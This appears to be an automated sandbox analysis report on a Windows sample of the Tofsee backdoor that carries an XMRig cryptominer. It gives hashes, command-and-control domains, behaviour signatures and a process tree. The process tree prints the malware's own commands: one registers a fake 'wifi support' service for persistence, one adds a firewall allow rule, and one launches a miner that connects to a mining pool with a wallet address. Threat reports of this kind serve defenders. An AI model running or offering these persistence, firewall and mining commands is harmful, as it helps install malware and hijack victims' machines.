Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-04-2023 11:51

General

  • Target

    file.exe

  • Size

    212KB

  • MD5

    a28432f1ae1231aa338ca25bb76bca43

  • SHA1

    71f949d29951d3dc188e7553caaec487a114a88f

  • SHA256

    edb6dd6f22989b7d58e3cd4a941cb7bae8c12371f59d9623bad1c6201e75ad72

  • SHA512

    bafc90498131959718497031e8fd72ca6d458d82d28b1a8924984caf33ab1d09eb8d48c7f01019335b3ac7b348d71a562229cf4c8f193889eccee8b3fe820227

  • SSDEEP

    3072:19CDeqA5IRiybXzQy3HD5/062XLV/6bZXoVbFRdLa7222WV65tPcCcqI7iMOre:7ksIRld3D106s3VHdm0PcCcN7iMA

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2884
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fdhcbqnz\
      2⤵
        PID:2016
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\odvchfkc.exe" C:\Windows\SysWOW64\fdhcbqnz\
        2⤵
          PID:1588
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fdhcbqnz binPath= "C:\Windows\SysWOW64\fdhcbqnz\odvchfkc.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fdhcbqnz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2252
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fdhcbqnz
          2⤵
          • Launches sc.exe
          PID:4052
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1372
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2884 -s 592
          2⤵
          • Program crash
          PID:508
      • C:\Windows\SysWOW64\fdhcbqnz\odvchfkc.exe
        C:\Windows\SysWOW64\fdhcbqnz\odvchfkc.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4744
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1016
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
              PID:4168
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4744 -s 548
            2⤵
            • Program crash
            PID:3828
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2884 -ip 2884
          1⤵
            PID:4372
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4744 -ip 4744
            1⤵
              PID:2832

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\odvchfkc.exe

              Filesize

              15.0MB

              MD5

              c2af05a3aa9c991369e66fe44195dabd

              SHA1

              f763e0294c09350dcb707c2c9f1104bb002812c7

              SHA256

              2785322e675cb703fd6938200d74776fc976e80505f37df344c93628a0608bde

              SHA512

              09e48f9a493c66e9673289b07f8f04e614112aff3a91f494a321849b172ec9917e81650c5fcaef9e73208a5ca80ef3bf6659edd60c4090f9c29744a3bd164472

            • C:\Windows\SysWOW64\fdhcbqnz\odvchfkc.exe

              Filesize

              15.0MB

              MD5

              c2af05a3aa9c991369e66fe44195dabd

              SHA1

              f763e0294c09350dcb707c2c9f1104bb002812c7

              SHA256

              2785322e675cb703fd6938200d74776fc976e80505f37df344c93628a0608bde

              SHA512

              09e48f9a493c66e9673289b07f8f04e614112aff3a91f494a321849b172ec9917e81650c5fcaef9e73208a5ca80ef3bf6659edd60c4090f9c29744a3bd164472

            • memory/1016-165-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-175-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-140-0x0000000000360000-0x0000000000375000-memory.dmp

              Filesize

              84KB

            • memory/1016-143-0x0000000000360000-0x0000000000375000-memory.dmp

              Filesize

              84KB

            • memory/1016-144-0x0000000000360000-0x0000000000375000-memory.dmp

              Filesize

              84KB

            • memory/1016-166-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-184-0x0000000007790000-0x0000000007797000-memory.dmp

              Filesize

              28KB

            • memory/1016-148-0x0000000000360000-0x0000000000375000-memory.dmp

              Filesize

              84KB

            • memory/1016-149-0x0000000002200000-0x000000000240F000-memory.dmp

              Filesize

              2.1MB

            • memory/1016-152-0x0000000002200000-0x000000000240F000-memory.dmp

              Filesize

              2.1MB

            • memory/1016-153-0x00000000019E0000-0x00000000019E6000-memory.dmp

              Filesize

              24KB

            • memory/1016-156-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-159-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-161-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-160-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-162-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-163-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-167-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-146-0x0000000000360000-0x0000000000375000-memory.dmp

              Filesize

              84KB

            • memory/1016-183-0x0000000007240000-0x000000000764B000-memory.dmp

              Filesize

              4.0MB

            • memory/1016-164-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-168-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-169-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-170-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-171-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-172-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-173-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-174-0x00000000019F0000-0x0000000001A00000-memory.dmp

              Filesize

              64KB

            • memory/1016-180-0x0000000007240000-0x000000000764B000-memory.dmp

              Filesize

              4.0MB

            • memory/1016-176-0x00000000025F0000-0x00000000025F5000-memory.dmp

              Filesize

              20KB

            • memory/1016-179-0x00000000025F0000-0x00000000025F5000-memory.dmp

              Filesize

              20KB

            • memory/2884-139-0x0000000000400000-0x00000000004A2000-memory.dmp

              Filesize

              648KB

            • memory/2884-135-0x0000000000640000-0x0000000000653000-memory.dmp

              Filesize

              76KB

            • memory/4168-188-0x0000000001000000-0x00000000010F1000-memory.dmp

              Filesize

              964KB

            • memory/4168-193-0x0000000001000000-0x00000000010F1000-memory.dmp

              Filesize

              964KB

            • memory/4168-194-0x0000000001000000-0x00000000010F1000-memory.dmp

              Filesize

              964KB

            • memory/4168-195-0x0000000001000000-0x00000000010F1000-memory.dmp

              Filesize

              964KB

            • memory/4168-196-0x0000000001000000-0x00000000010F1000-memory.dmp

              Filesize

              964KB

            • memory/4168-197-0x0000000001000000-0x00000000010F1000-memory.dmp

              Filesize

              964KB

            • memory/4744-145-0x0000000000400000-0x00000000004A2000-memory.dmp

              Filesize

              648KB